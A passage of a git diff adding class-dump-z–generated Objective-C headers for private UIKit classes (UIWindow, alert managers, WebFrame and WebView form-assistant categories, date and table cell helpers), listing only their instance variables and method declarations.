class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIDateTableCell.h" + +@class NSDate, UILabel; + +__attribute__((visibility("hidden"))) +@interface UIWeekMonthDayTableCell : UIDateTableCell { +@private + UILabel* _weekdayLabel; + NSDate* _date; + float _weekdayWidth; + BOOL _weekdayLast; +} +-(void)dealloc; +-(id)date; +-(void)setDate:(id)date; +-(void)setWeekdayLast:(BOOL)last; +-(void)setWeekdayWidth:(float)width; +-(id)_weekdayLabelColor; +-(void)setBackgroundColor:(id)color; +-(void)setWeekdayString:(id)string; +-(void)updateHighlightColors; +-(void)layoutSubviews; +@end + diff --git a/igor/headers/dumpedUIKit/UIWindow.h b/igor/headers/dumpedUIKit/UIWindow.h new file mode 100644 index 0000000..cbf5db3 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWindow.h @@ -0,0 +1,193 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" +#import "UIWindow.h" + +@class NSUndoManager; + +@interface UIWindow : UIView { +@private + id _delegate; + float _windowLevel; + id _layerContext; + UIView* _lastMouseDownView; + UIView* _lastMouseEnteredView; + UIResponder* _firstResponder; + id _fingerInfo; + id _touchData; + int _viewOrientation; + UIView* _exclusiveTouchView; + NSUndoManager* _undoManager; + struct { + unsigned delegateWillRotate : 1; + unsigned delegateDidRotate : 1; + unsigned delegateWillAnimateFirstHalf : 1; + unsigned delegateDidAnimationFirstHalf : 1; + unsigned delegateWillAnimateSecondHalf : 1; + unsigned autorotatesToPortrait : 1; + unsigned autorotatesToPortraitUpsideDown : 1; + unsigned autorotatesToLandscapeLeft : 1; + unsigned autorotatesToLandscapeRight : 1; + unsigned dontBecomeKeyOnOrderFront : 1; + unsigned output : 1; + unsigned inGesture : 1; + unsigned trackingStatusBar : 1; + unsigned cancelScroller : 1; + unsigned bitsPerComponent : 4; + unsigned autorotates : 1; + unsigned isRotating : 1; + unsigned isUsingOnePartRotationAnimation : 1; + unsigned isHandlingContentRotation : 1; + unsigned disableAutorotationCount : 4; + unsigned needsAutorotationWhenReenabled : 1; + unsigned forceTwoPartRotationAnimation : 1; + unsigned orderKeyboardInAfterRotating : 1; + } _windowFlags; + id _windowController; +} +@property(readonly, assign, nonatomic, getter=isKeyWindow) BOOL keyWindow; +@property(assign, nonatomic) float windowLevel; ++(CGRect)constrainFrameToScreen:(CGRect)screen; ++(id)keyWindow; ++(void)_noteStatusBarHeightChanged:(float)changed oldHeight:(float)height fence:(int)fence; ++(id)_ioSurfacePropertyDictionaryForRect:(CGRect)rect; ++(void*)createIOSurfaceWithContextId:(unsigned)contextId frame:(CGRect)frame; ++(void*)createIOSurfaceWithContextIds:(const unsigned*)contextIds count:(unsigned)count frame:(CGRect)frame; ++(void*)createScreenIOSurface; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithFrame:(CGRect)frame output:(int)output; +-(void)_commonInit; +-(id)initWithFrame:(CGRect)frame output:(int)output bitsPerComponent:(int)component; +-(id)initWithContentRect:(CGRect)contentRect; +-(id)initWithCoder:(id)coder; +-(void)dealloc; +-(void)setContentView:(id)view; +-(id)representation; +-(void)_createWindow; +-(BOOL)_ignoresHitTest; +-(BOOL)_disableGroupOpacity; +-(BOOL)_disableEdgeAntialiasing; +-(unsigned)_contextId; +-(void)makeKeyAndOrderFront:(id)front; +-(void)orderFront:(id)front; +-(void)_orderFrontWithoutMakingKey; +-(void)orderOut:(id)anOut; +-(void)setHidden:(BOOL)hidden; +-(void)makeKey:(id)key; +-(CGPoint)warpPoint:(CGPoint)point; +-(BOOL)_pointInStatusBar:(CGPoint)statusBar; +-(void)_handleMouseDown:(GSEventRef)down; +-(void)_handleMouseDragged:(GSEventRef)dragged; +-(void)_handleMouseUp:(GSEventRef)up; +-(void)_handleMouseEntered:(GSEventRef)entered; +-(void)_handleMouseMoved:(GSEventRef)moved; +-(void)_handleMouseExited:(GSEventRef)exited; +-(BOOL)_isScrollingEnabledForView:(id)view; +-(void)_statusBarMouseDown:(GSEventRef)down; +-(void)_statusBarMouseDragged:(GSEventRef)dragged; +-(void)_statusBarMouseUp:(GSEventRef)up; +-(void)_sendGesturesForEvent:(id)event; +-(void)_sendTouchesForEvent:(id)event; +-(void)sendEvent:(id)event; +-(CGPoint)convertPoint:(CGPoint)point toWindow:(id)window; +-(CGPoint)convertPoint:(CGPoint)point fromWindow:(id)window; +-(CGRect)convertRect:(CGRect)rect toWindow:(id)window; +-(CGRect)convertRect:(CGRect)rect fromWindow:(id)window; +-(void)_setExclusiveTouchView:(id)view; +-(id)_exclusiveTouchView; +-(void)_beginModalSession; +-(void)_endModalSession; +-(id)nextResponder; +-(BOOL)_containedInAbsoluteResponderChain; +-(CGPoint)convertWindowToDevice:(CGPoint)device; +-(CGPoint)convertDeviceToWindow:(CGPoint)window; +-(void)setLevel:(float)level; +-(float)level; +-(void)setBecomeKeyOnOrderFront:(BOOL)front; +-(void)_slideHeaderView:(id)view andFooterView:(id)view2 offScreen:(BOOL)screen forInterfaceOrientation:(int)interfaceOrientation; +-(void)_positionHeaderView:(id)view andFooterView:(id)view2 outsideContentViewForInterfaceOrientation:(int)interfaceOrientation; +-(void)_clearPendingKeyboardChanges; +-(BOOL)_shouldAutorotateToInterfaceOrientation:(int)interfaceOrientation; +-(void)_handleStatusBarOrientationChange:(id)change; +-(void)_handleDeviceOrientationChange:(id)change; +-(void)_applicationDidBeginIgnoringInteractionEvents:(id)_application; +-(void)_applicationDidEndIgnoringInteractionEvents:(id)_application; +-(void)_updateToInterfaceOrientation:(int)interfaceOrientation animated:(BOOL)animated; +-(void)_updateToInterfaceOrientation:(int)interfaceOrientation duration:(double)duration force:(BOOL)force; +-(void)_updateInterfaceOrientationFromDeviceOrientation; +-(void)beginDisablingInterfaceAutorotation; +-(BOOL)isInterfaceAutorotationDisabled; +-(void)endDisablingInterfaceAutorotation; +-(void)setAutorotates:(BOOL)autorotates; +-(void)setAutorotates:(BOOL)autorotates forceUpdateInterfaceOrientation:(BOOL)orientation; +-(void)_setRotatableViewOrientation:(int)orientation duration:(double)duration; +-(int)_degreesToRotateFromInterfaceOrientation:(int)interfaceOrientation toInterfaceOrientation:(int)interfaceOrientation2; +-(void)_forceTwoPartRotationAnimation:(BOOL)animation; +-(void)_updateStatusBarToInterfaceOrientation:(int)interfaceOrientation duration:(double)duration fenceID:(int)anId animation:(int)animation; +-(void)_updateStatusBarToInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(void)_setRotatableViewOrientation:(int)orientation duration:(double)duration force:(BOOL)force; +-(void)_finishedFirstHalfRotation:(id)rotation finished:(id)finished context:(void*)context; +-(void)_finishedFullRotation:(id)rotation finished:(id)finished context:(void*)context; +-(BOOL)autorotates; +-(BOOL)isRotating; +-(BOOL)isUsingOnePartRotationAnimation; +-(BOOL)isHandlingContentRotation; +-(int)interfaceOrientation; +-(void)synchronizeDrawingWithID:(int)anId; +-(void)synchronizeDrawingWithID:(int)anId count:(unsigned)count; +-(void)handleStatusBarChangeFromHeight:(float)height toHeight:(float)height2; +-(int)windowOutput; +-(int)bitsPerComponent; +-(void)setDelegate:(id)delegate; +-(id)delegate; +-(void)makeKeyWindow; +-(void)becomeKeyWindow; +-(void)resignKeyWindow; +-(void)makeKeyAndVisible; +-(id)contentView; +-(void)_registerChargedView:(id)view; +-(void)_unregisterChargedView:(id)view; +-(void)_registerSwipeView:(id)view; +-(void)_unregisterSwipeView:(id)view; +-(void)_registerScrollToTopView:(id)topView; +-(void)_unregisterScrollToTopView:(id)topView; +-(void)_setFirstResponder:(id)responder; +-(id)firstResponder; +-(id)_firstResponder; +-(BOOL)_becomeFirstResponderWhenPossible; +-(id)undoManager; +-(void)undo:(id)undo; +-(void)redo:(id)redo; +-(BOOL)canPerformAction:(SEL)action withSender:(id)sender; +-(void)_setMouseDownView:(id)view withEvent:(GSEventRef)event; +-(void)_setMouseEnteredView:(id)view; +-(BOOL)_clearMouseView; +-(BOOL)_allowsContextHosting; +-(void*)createIOSurfaceWithFrame:(CGRect)frame; +-(void*)createIOSurface; +-(void)_setCancelScroller:(BOOL)scroller; +-(BOOL)acceptsGlobalPoint:(CGPoint)point; +-(BOOL)_isLayerHidden; +-(void)_setLayerHidden:(BOOL)hidden; +-(id)_touchData; +@end + +@interface UIWindow (UITextEffectsWindowAdditions) +-(BOOL)_isTextEffectsWindow; +@end + +@interface UIWindow (UITextEffectsWindow) +-(void)updateForOrientation:(int)orientation; +-(void)matchDeviceOrientation; +@end + +@interface UIWindow (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UIWindowController.h b/igor/headers/dumpedUIKit/UIWindowController.h new file mode 100644 index 0000000..5b0d399 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWindowController.h @@ -0,0 +1,42 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + +@class UITransitionView, UIViewController, UIWindow; + +@interface UIWindowController : NSObject { + UITransitionView* _transitionView; + UIWindow* _window; + int _currentTransition; + id _target; + SEL _didEndSelector; + UIViewController* _fromViewController; + UIViewController* _toViewController; + CGPoint _beginOriginForToView; + CGPoint _endOriginForToView; +} +@property(assign, nonatomic) UIWindow* window; ++(id)windowControllerForWindow:(id)window; ++(void)windowWillBeDeallocated:(id)window; +-(void)dealloc; +-(CGPoint)_originForViewController:(id)viewController orientation:(int)orientation fullScreenLayout:(BOOL)layout; +-(CGSize)_flipSize:(CGSize)size; +-(CGRect)_boundsForViewController:(id)viewController orientation:(int)orientation fullScreenLayout:(BOOL)layout; +-(CGAffineTransform)_rotationTransformForInterfaceOrientation:(int)interfaceOrientation; +-(void)_prepareKeyboardForTransition:(int)transition fromView:(id)view; +-(void)_transplantView:(id)view toSuperview:(id)superview atIndex:(unsigned)index; +-(void)transition:(int)transition fromViewController:(id)viewController toViewController:(id)viewController3 target:(id)target didEndSelector:(SEL)selector; +-(void)transitionViewDidComplete:(id)transitionView fromView:(id)view toView:(id)view3; +-(double)durationForTransition:(int)transition; +-(CGPoint)_adjustOrigin:(CGPoint)origin givenOtherOrigin:(CGPoint)origin2 forTransition:(int)transition; +-(CGPoint)transitionView:(id)view endOriginForFromView:(id)view2 forTransition:(int)transition defaultOrigin:(CGPoint)origin; +-(CGPoint)transitionView:(id)view beginOriginForToView:(id)view2 forTransition:(int)transition defaultOrigin:(CGPoint)origin; +-(CGPoint)transitionView:(id)view endOriginForToView:(id)view2 forTransition:(int)transition defaultOrigin:(CGPoint)origin; +@end + diff --git a/igor/headers/dumpedUIKit/UnchargedButton.h b/igor/headers/dumpedUIKit/UnchargedButton.h new file mode 100644 index 0000000..4b7dd1d --- /dev/null +++ b/igor/headers/dumpedUIKit/UnchargedButton.h @@ -0,0 +1,17 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIButton.h" + + +__attribute__((visibility("hidden"))) +@interface UnchargedButton : UIButton { +} +-(BOOL)pointMostlyInside:(CGPoint)inside withEvent:(id)event; +@end + diff --git a/igor/headers/dumpedUIKit/WebFormDelegate.h b/igor/headers/dumpedUIKit/WebFormDelegate.h new file mode 100644 index 0000000..4f06cc9 --- /dev/null +++ b/igor/headers/dumpedUIKit/WebFormDelegate.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSObject.h" +#import "UIKit-Structs.h" + + +@protocol WebFormDelegate +-(void)textFieldDidBeginEditing:(id)textField inFrame:(id)frame; +-(void)textFieldDidEndEditing:(id)textField inFrame:(id)frame; +-(void)textDidChangeInTextField:(id)text inFrame:(id)frame; +-(void)textDidChangeInTextArea:(id)text inFrame:(id)frame; +-(BOOL)textField:(id)field doCommandBySelector:(SEL)selector inFrame:(id)frame; +-(BOOL)textField:(id)field shouldHandleEvent:(GSEventRef)event inFrame:(id)frame; +-(void)formElementDidSetValue:(id)formElement inFrame:(id)frame; +-(void)formElementDidFocus:(id)formElement inFrame:(id)frame; +-(void)formElementDidBlur:(id)formElement inFrame:(id)frame; +-(void)frame:(id)frame sourceFrame:(id)frame2 willSubmitForm:(id)form withValues:(id)values submissionListener:(id)listener; +@end + diff --git a/igor/headers/dumpedUIKit/WebFrame.h b/igor/headers/dumpedUIKit/WebFrame.h new file mode 100644 index 0000000..243c617 --- /dev/null +++ b/igor/headers/dumpedUIKit/WebFrame.h @@ -0,0 +1,29 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +@interface WebFrame (BrowserAdditions) +-(BOOL)isMainFrame; +-(id)_topFrame; +-(void)_collectFormFieldElementsIntoArray:(id)array upToLimit:(unsigned)limit onlyIncludeFocusedElements:(BOOL)elements; +-(id)allFormFields; +-(BOOL)containsAnyFormFields; +-(BOOL)containsAnyFocusedFormFields; +-(BOOL)isOrphaned; +@end + +@interface WebFrame (UIWebDocumentViewTextSelecting) +-(BOOL)isTexty; +@end + +@interface WebFrame (UIWebSelectionAdditions) +-(id)viewForCoordinateTransforms; +-(BOOL)containsOnlySelectableElements; +@end + diff --git a/igor/headers/dumpedUIKit/WebHTMLRepresentation.h b/igor/headers/dumpedUIKit/WebHTMLRepresentation.h new file mode 100644 index 0000000..ded4509 --- /dev/null +++ b/igor/headers/dumpedUIKit/WebHTMLRepresentation.h @@ -0,0 +1,15 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +@interface WebHTMLRepresentation (CreditCardAutoFillExtras) +-(BOOL)formElementLooksLikeCreditCardNumberField:(id)field; +-(BOOL)formElementLooksLikeSecurityCodeField:(id)field; +@end + diff --git a/igor/headers/dumpedUIKit/WebThreadSafeUndoManager.h b/igor/headers/dumpedUIKit/WebThreadSafeUndoManager.h new file mode 100644 index 0000000..ee0a0bc --- /dev/null +++ b/igor/headers/dumpedUIKit/WebThreadSafeUndoManager.h @@ -0,0 +1,18 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +__attribute__((visibility("hidden"))) +@interface WebThreadSafeUndoManager : NSUndoManager { +} +-(void)undo; +-(void)redo; +-(BOOL)_alwaysShowEditAlertView; +@end + diff --git a/igor/headers/dumpedUIKit/WebView.h b/igor/headers/dumpedUIKit/WebView.h new file mode 100644 index 0000000..0e2c7a3 --- /dev/null +++ b/igor/headers/dumpedUIKit/WebView.h @@ -0,0 +1,14 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +@interface WebView (UIWebFormAssistantExtras) +-(id)assistedNode; +@end + diff --git a/igor/headers/dumpedUIKit/WebViewReachabilityObserver.h b/igor/headers/dumpedUIKit/WebViewReachabilityObserver.h new file mode 100644 index 0000000..4a61489 --- /dev/null +++ b/igor/headers/dumpedUIKit/WebViewReachabilityObserver.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +__attribute__((visibility("hidden"))) +@interface WebViewReachabilityObserver : NSObject { +@private + id _delegate; +} +-(id)init; +-(void)setDelegate:(id)delegate; +-(void)removeReachabilityObserver; +-(void)networkReachabilityChanged:(id)changed; +@end + diff --git a/igor/headers/dumpedUIKit/WhiteView.h b/igor/headers/dumpedUIKit/WhiteView.h new file mode 100644 index 0000000..7d1bc29 --- /dev/null +++ b/igor/headers/dumpedUIKit/WhiteView.h @@ -0,0 +1,18 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface WhiteView : UIView { +} +-(id)init; +-(void)setBackgroundColor:(id)color; +@end + diff --git a/igor/headers/dumpedUIKit/WordInfo.h b/igor/headers/dumpedUIKit/WordInfo.h new file mode 100644 index 0000000..65245d8 --- /dev/null +++ b/igor/headers/dumpedUIKit/WordInfo.h @@ -0,0 +1,42 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "CandWord.h" + +@class CandWordString; + +@interface WordInfo : CandWord { + CandWordString* _yomi; + int _inConnection; + int _outConnection[10]; + unsigned char _readingLens[10]; + unsigned short _lcAttrs[10]; + unsigned short _rcAttrs[10]; + unsigned _trievalues[10]; + int _outConnections; + int _weight; +} +-(id)initWithWord:(id)word withYomi:(id)yomi inConnection:(int)connection outConnection:(int)connection4 weight:(int)weight; +-(void)dealloc; +-(id)copyWithZone:(NSZone*)zone; +-(void)addOutConnection:(int)connection; +-(void)addWeight:(int)weight; +-(id)yomi; +-(const char*)yomiUTF8String; +-(int)inConnection; +-(int*)outConnection; +-(int)outConnections; +-(void)getInConnection:(int*)connection outConnection:(int**)connection2 andOutConnections:(int*)connections; +-(int)weight; +-(void)setWeight:(int)weight; +-(char*)readingLens; +-(unsigned short*)lcAttrs; +-(unsigned*)trievalues; +-(unsigned short*)rcAttrs; +@end + diff --git a/igor/headers/dumpedUIKit/_UIAlertManager.h b/igor/headers/dumpedUIKit/_UIAlertManager.h new file mode 100644 index 0000000..11e503e --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIAlertManager.h @@ -0,0 +1,30 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +__attribute__((visibility("hidden"))) +@interface _UIAlertManager : NSObject { +} ++(void)hideTopmostMiniAlert:(int)alert; ++(void)hideAlertsForTermination; ++(void)showTopmostMiniAlert; ++(BOOL)hideTopMostAlertAnimated:(BOOL)animated; ++(id)topMostAlert; ++(id)visibleAlert; ++(void)noteOrientationChangingTo:(int)to; ++(void)reorientAlertWindowTo:(int)to animated:(BOOL)animated; ++(void)addToStack:(id)stack dontDimBackground:(BOOL)background; ++(void)removeFromStack:(id)stack; ++(BOOL)stackContainsAlert:(id)alert; ++(void)tellSpringboardShowingAlert:(id)alert animated:(BOOL)animated; ++(void)tellSpringboardHidingAlert:(id)alert animated:(BOOL)animated; ++(void)createAlertWindowIfNeeded:(BOOL)needed; ++(void)sizeAlertWindowForCurrentOrientation; +@end + diff --git a/igor/headers/dumpedUIKit/_UIAlertOverlayWindow.h b/igor/headers/dumpedUIKit/_UIAlertOverlayWindow.h new file mode 100644 index 0000000..6c56fae --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIAlertOverlayWindow.h @@ -0,0 +1,20 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIWindow.h" + + +__attribute__((visibility("hidden"))) +@interface _UIAlertOverlayWindow : UIWindow { +} ++(CGRect)constrainFrameToScreen:(CGRect)screen; +-(void)makeKeyWindow; +-(void)_handleMouseUp:(GSEventRef)up; +-(id)representation; +@end + diff --git a/igor/headers/dumpedUIKit/_UIAlertSheetTable.h b/igor/headers/dumpedUIKit/_UIAlertSheetTable.h new file mode 100644 index 0000000..9ef0ccb --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIAlertSheetTable.h @@ -0,0 +1,17 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UITable.h" + + +__attribute__((visibility("hidden"))) +@interface _UIAlertSheetTable : UITable { +} +-(void)drawExtraSeparator:(CGRect)separator; +@end + diff --git a/igor/headers/dumpedUIKit/_UIAlertStackWatcher.h b/igor/headers/dumpedUIKit/_UIAlertStackWatcher.h new file mode 100644 index 0000000..7094292 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIAlertStackWatcher.h @@ -0,0 +1,19 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +__attribute__((visibility("hidden"))) +@interface _UIAlertStackWatcher : NSObject { +} +-(id)init; +-(void)dealloc; +-(void)_appSuspended:(id)suspended; +-(void)_appResumed:(id)resumed; +@end + diff --git a/igor/headers/dumpedUIKit/_UIDateLabelCache.h b/igor/headers/dumpedUIKit/_UIDateLabelCache.h new file mode 100644 index 0000000..0d923af --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIDateLabelCache.h @@ -0,0 +1,58 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + +@class NSString, UIFont; + +__attribute__((visibility("hidden"))) +@interface _UIDateLabelCache : NSObject { +@private + double _today; + double _noon; + double _tomorrow; + double _previousWeek; + UIFont* _timeDesignatorFont; + NSString* _amString; + NSString* _pmString; + CGSize _amSize; + CGSize _pmSize; + CFDictionaryRef _dateStringCache; + CFDateFormatterRef _timeFormatter; + CFDateFormatterRef _shortDateFormatter; + CFDateFormatterRef _shortTimeFormatter; + CFTimeZoneRef _tz; + CFDictionaryRef _dateSizeCache; + BOOL _use24HourTime; + BOOL _timeDesignatorAppearsBeforeTime; +} +-(BOOL)_timeDesignatorAppearsBeforeTime; +-(id)init; +-(void)dealloc; +-(id)timeDesignatorFont; +-(void)invalidateDateCache; +-(void)_significantTimeChange; +-(void)_languageChanged; +-(void)_loadDesignatorStrings; +-(id)amString; +-(id)pmString; +-(CGSize)amSize; +-(CGSize)pmSize; +-(void)_updateTodayAndNoon; +-(int)dateKeyForAbsoluteTime:(double)absoluteTime; +-(double)todayAbsoluteTime; +-(double)noonAbsoluteTime; +-(id)timeDesignatorForAbsoluteTime:(double)absoluteTime; +-(CGSize)timeDesignatorSizeForAbsoluteTime:(double)absoluteTime forFont:(id)font; +-(id)dateStringForAbsoluteTime:(double)absoluteTime dateKey:(int)key; +-(CGSize)mainTimeSizeForDateKey:(int)dateKey; +-(void)setMainTimeSize:(CGSize)size forDateKey:(int)dateKey; +-(BOOL)use24HourTime; +-(BOOL)timeDesignatorAppearsBeforeTime; +@end + diff --git a/igor/headers/dumpedUIKit/_UIGroupItem.h b/igor/headers/dumpedUIKit/_UIGroupItem.h new file mode 100644 index 0000000..4829593 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIGroupItem.h @@ -0,0 +1,30 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSString; + +__attribute__((visibility("hidden"))) +@interface _UIGroupItem : NSObject { +@private + NSString* _title; + float offset; + int _rowCountBeforeGroup; + int _childCount; + unsigned _isRadioGroup : 1; + unsigned _isLabelGroup : 1; + unsigned _reserved : 30; +} +-(id)initWithTitle:(id)title childCount:(int)count rowCountBeforeGroup:(int)group isRadioGroup:(BOOL)group4; +-(void)dealloc; +-(int)childCount; +-(id)title; +-(int)rowCountBeforeGroup; +-(int)tableRowForRow:(int)row; +@end + diff --git a/igor/headers/dumpedUIKit/_UIGroupTableViewCellBackgroundImageKey.h b/igor/headers/dumpedUIKit/_UIGroupTableViewCellBackgroundImageKey.h new file mode 100644 index 0000000..06a107d --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIGroupTableViewCellBackgroundImageKey.h @@ -0,0 +1,40 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSCopying.h" +#import + +@class UIColor; + +__attribute__((visibility("hidden"))) +@interface _UIGroupTableViewCellBackgroundImageKey : NSObject { +@private + BOOL _opaque; + CGSize _size; + UIColor* _backgroundColor; + UIColor* _borderColor; + UIColor* _fillColor; + float _leftPhase; + float _rightPhase; + int _sectionLocation; +} +@property(assign, nonatomic) BOOL opaque; +@property(assign, nonatomic) CGSize size; +@property(retain, nonatomic) UIColor* backgroundColor; +@property(retain, nonatomic) UIColor* borderColor; +@property(retain, nonatomic) UIColor* fillColor; +@property(assign, nonatomic) float leftPhase; +@property(assign, nonatomic) float rightPhase; +@property(assign, nonatomic) int sectionLocation; +-(void)dealloc; +-(BOOL)isEqual:(id)equal; +-(unsigned)hash; +-(id)copyWithZone:(NSZone*)zone; +-(id)description; +@end + diff --git a/igor/headers/dumpedUIKit/_UIImageViewExtendedStorage.h b/igor/headers/dumpedUIKit/_UIImageViewExtendedStorage.h new file mode 100644 index 0000000..d41eb27 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIImageViewExtendedStorage.h @@ -0,0 +1,26 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSArray, UIImage; + +__attribute__((visibility("hidden"))) +@interface _UIImageViewExtendedStorage : NSObject { +@private + BOOL _highlighted; + UIImage* _image; + UIImage* _highlightedImage; + NSArray* _animationImages; + NSArray* _highlightedAnimationImages; + double _animationDuration; + int _animationRepeatCount; + int _drawMode; +} +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/_UILabeledPushButton.h b/igor/headers/dumpedUIKit/_UILabeledPushButton.h new file mode 100644 index 0000000..95a1877 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UILabeledPushButton.h @@ -0,0 +1,26 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIThreePartButton.h" +#import "UIKit-Structs.h" + +@class UILabel; + +__attribute__((visibility("hidden"))) +@interface _UILabeledPushButton : UIThreePartButton { +@private + UILabel* _textLabel; +} +-(void)dealloc; +-(void)setLabel:(id)label; +-(void)setLabelFontSize:(float)size; +-(float)labelFontSize; +-(void)layoutSubviews; +-(void)setHighlighted:(BOOL)highlighted; +-(void)drawTitleAtPoint:(CGPoint)point width:(float)width; +@end + diff --git a/igor/headers/dumpedUIKit/_UIOldSliderAnimation.h b/igor/headers/dumpedUIKit/_UIOldSliderAnimation.h new file mode 100644 index 0000000..1e2bb04 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIOldSliderAnimation.h @@ -0,0 +1,20 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIAnimation.h" + + +__attribute__((visibility("hidden"))) +@interface _UIOldSliderAnimation : UIAnimation { +@private + float _startValue; + float _endValue; + BOOL _sendAction; +} +-(void)setProgress:(float)progress; +@end + diff --git a/igor/headers/dumpedUIKit/_UIOnePartImageView.h b/igor/headers/dumpedUIKit/_UIOnePartImageView.h new file mode 100644 index 0000000..087c9d5 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIOnePartImageView.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImage; + +__attribute__((visibility("hidden"))) +@interface _UIOnePartImageView : UIView { +@private + UIImage* _image; +} +-(id)initWithFrame:(CGRect)frame; +-(void)setImage:(id)image; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/_UIPickerViewSelectionBar.h b/igor/headers/dumpedUIKit/_UIPickerViewSelectionBar.h new file mode 100644 index 0000000..18182f7 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIPickerViewSelectionBar.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + 